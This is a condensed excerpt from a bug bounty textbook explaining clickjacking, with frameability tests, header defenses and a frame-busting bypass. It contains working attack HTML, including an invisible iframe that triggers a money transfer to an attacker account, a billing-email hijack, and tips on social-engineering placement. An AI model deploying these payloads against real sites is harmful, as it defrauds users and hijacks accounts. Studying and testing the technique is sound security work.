Source: Bug Bounty Bootcamp by Vickie Li
Clickjacking (user-interface redressing) tricks users into clicking a malicious button that has been made to look legitimate. Attackers use HTML page-overlay techniques to hide one web page within another.
Note: clickjacking is rarely accepted by bug bounty programs because it requires significant user interaction. Many programs explicitly list it as out of scope. Some programs accept it if you can demonstrate clear impact. Always check the policy before testing.
Clickjacking relies on HTML iframes. An iframe embeds one web page inside another:
<html> <h3>This is my web page.</h3> <iframe src="https://www.example.com" width="500" height="500"></iframe> <p>If this window is not blank, the iframe source URL can be framed!</p> </html>
If the target page renders inside the iframe, it is frameable. If it shows blank, framing is prevented server-side.
Attack setup:
Say example.com has a money transfer page at https://www.example.com/transfer_money that accepts recipient and amount URL parameters to pre-fill the form. The attacker embeds this page in an iframe on their site, overlays decoy content on top, and sets the iframe to nearly invisible:
<html> <style> #victim-site { width:500px; height:500px; opacity:0.00001; z-index:1; } #decoy { position:absolute; width:500px; height:500px; z-index:-1; } </style> <div id="decoy"> <h3>Welcome to my site!</h3> <h3>Subscribe to our cybersecurity newsletter!</h3> <form action="/subscribe" method="post"> <label for="email">Email:</label> <br> <input type="text" id="email" value="Please enter your email!"> <br><br> <input type="submit" value="Submit"> </form> </div> <iframe id="victim-site" src="https://www.example.com/transfer_money?recipient=attacker_account_12345&amount=5000" width="500" height="500"> </iframe> </html>
Key CSS properties:
opacity:0.00001 – makes the iframe nearly invisible while keeping it clickablez-index:1 on the iframe (higher z-index = on top in click detection)z-index:-1 on the decoy (rendered below the iframe)position:absolute on the decoy to overlay it preciselyThe attacker positions the iframe so the Transfer Balance button sits directly over the Subscribe button. The victim sees only the newsletter form; clicking Submit actually executes the bank transfer.
Two conditions must exist for clickjacking to succeed:
X-Frame-Options header – instructs browsers whether the page can be framed:
X-Frame-Options: DENY X-Frame-Options: SAMEORIGIN
DENY – cannot be framed at allSAMEORIGIN – only pages from the same origin can frame it
Content-Security-Policy header – frame-ancestors directive:
Content-Security-Policy: frame-ancestors 'none'; Content-Security-Policy: frame-ancestors 'self'; Content-Security-Policy: frame-ancestors 'self' *.example.com;
SameSite cookies – if session cookies are SameSite=Strict or SameSite=Lax, they will not be sent in requests made within a third-party iframe. This means even if the page is framed, the victim will not be authenticated, defeating the attack for any action that requires authentication:
Set-Cookie: PHPSESSID=UEhQUOVTUOlE; Max-Age=86400; Secure; HttpOnly; SameSite=Strict
Clickjacking is only valuable when the target page contains a state-changing action achievable via clicks alone (not keyboard input). Go through the application and list every action that changes account state, along with the URL:
bank.example.com/password_changebank.example.com/transfer_moneybank.example.com/unlinkActions that require explicit keyboard input (typing a recipient account number) are generally not feasible because they require too much social engineering.
Intercept the response for each state-changing page in Burp. Look for:
X-Frame-Options header (DENY or SAMEORIGIN)Content-Security-Policy: frame-ancestors directiveSameSite flag on the session cookieIf none of these are present, the page may be vulnerable. Even if the site uses JavaScript frame-busting instead, that is often bypassable.
Create a test HTML page that frames the target:
<HTML> <head> <title>Clickjack test page</title> </head> <body> <p>Web page is vulnerable to clickjacking if the iframe is populated with the target page!</p> <iframe src="URL_OF_TARGET_PAGE" width="500" height="500"></iframe> </body> </HTML>
Open this page in a browser. If the target page renders inside the iframe, framing is possible.
Execute the state-changing action against your own test account through the framed page. If the action succeeds when triggered via click through the iframe, the vulnerability is confirmed.
If the site uses JavaScript frame-busting code instead of HTTP response headers, it may be bypassable. A common pattern:
if (top.location == self.location){ // Allow framing. } else{ // Disallow framing. }
This compares the top frame's location to the current frame's location. If the top frame is a page on the victim's own domain (e.g., one that allows embedding custom iframes – profile links, social share widgets), you can exploit this with the double iframe trick:
attacker.com that frames the victim's sensitive functionalityattacker.com page inside a page hosted on victim.com that allows custom iframestop.location and self.location both point to victim.com; the frame-busting code approves itFocus on the most sensitive actions for maximum impact:
For the chained attack HTML:
<h3>Welcome to my site!</h3> <iframe src="https://bank.example.com/change_billing_email?email=attacker@attacker.com" width="500" height="500"> </iframe> <iframe src="https://bank.example.com/send_summary" width="500" height="500"> </iframe> </html>
Payload delivery: for the attack to work, users must visit your page and click. The most effective placement is directly over a “Please Accept That This Site Uses Cookies!” popup – users click it reflexively without reading. The Social-Engineer Toolkit (github.com/trustedsec/social-engineer-toolkit) can clone the target site to make the decoy more convincing.
X-Frame-Options, Content-Security-Policy: frame-ancestors, and SameSite cookies.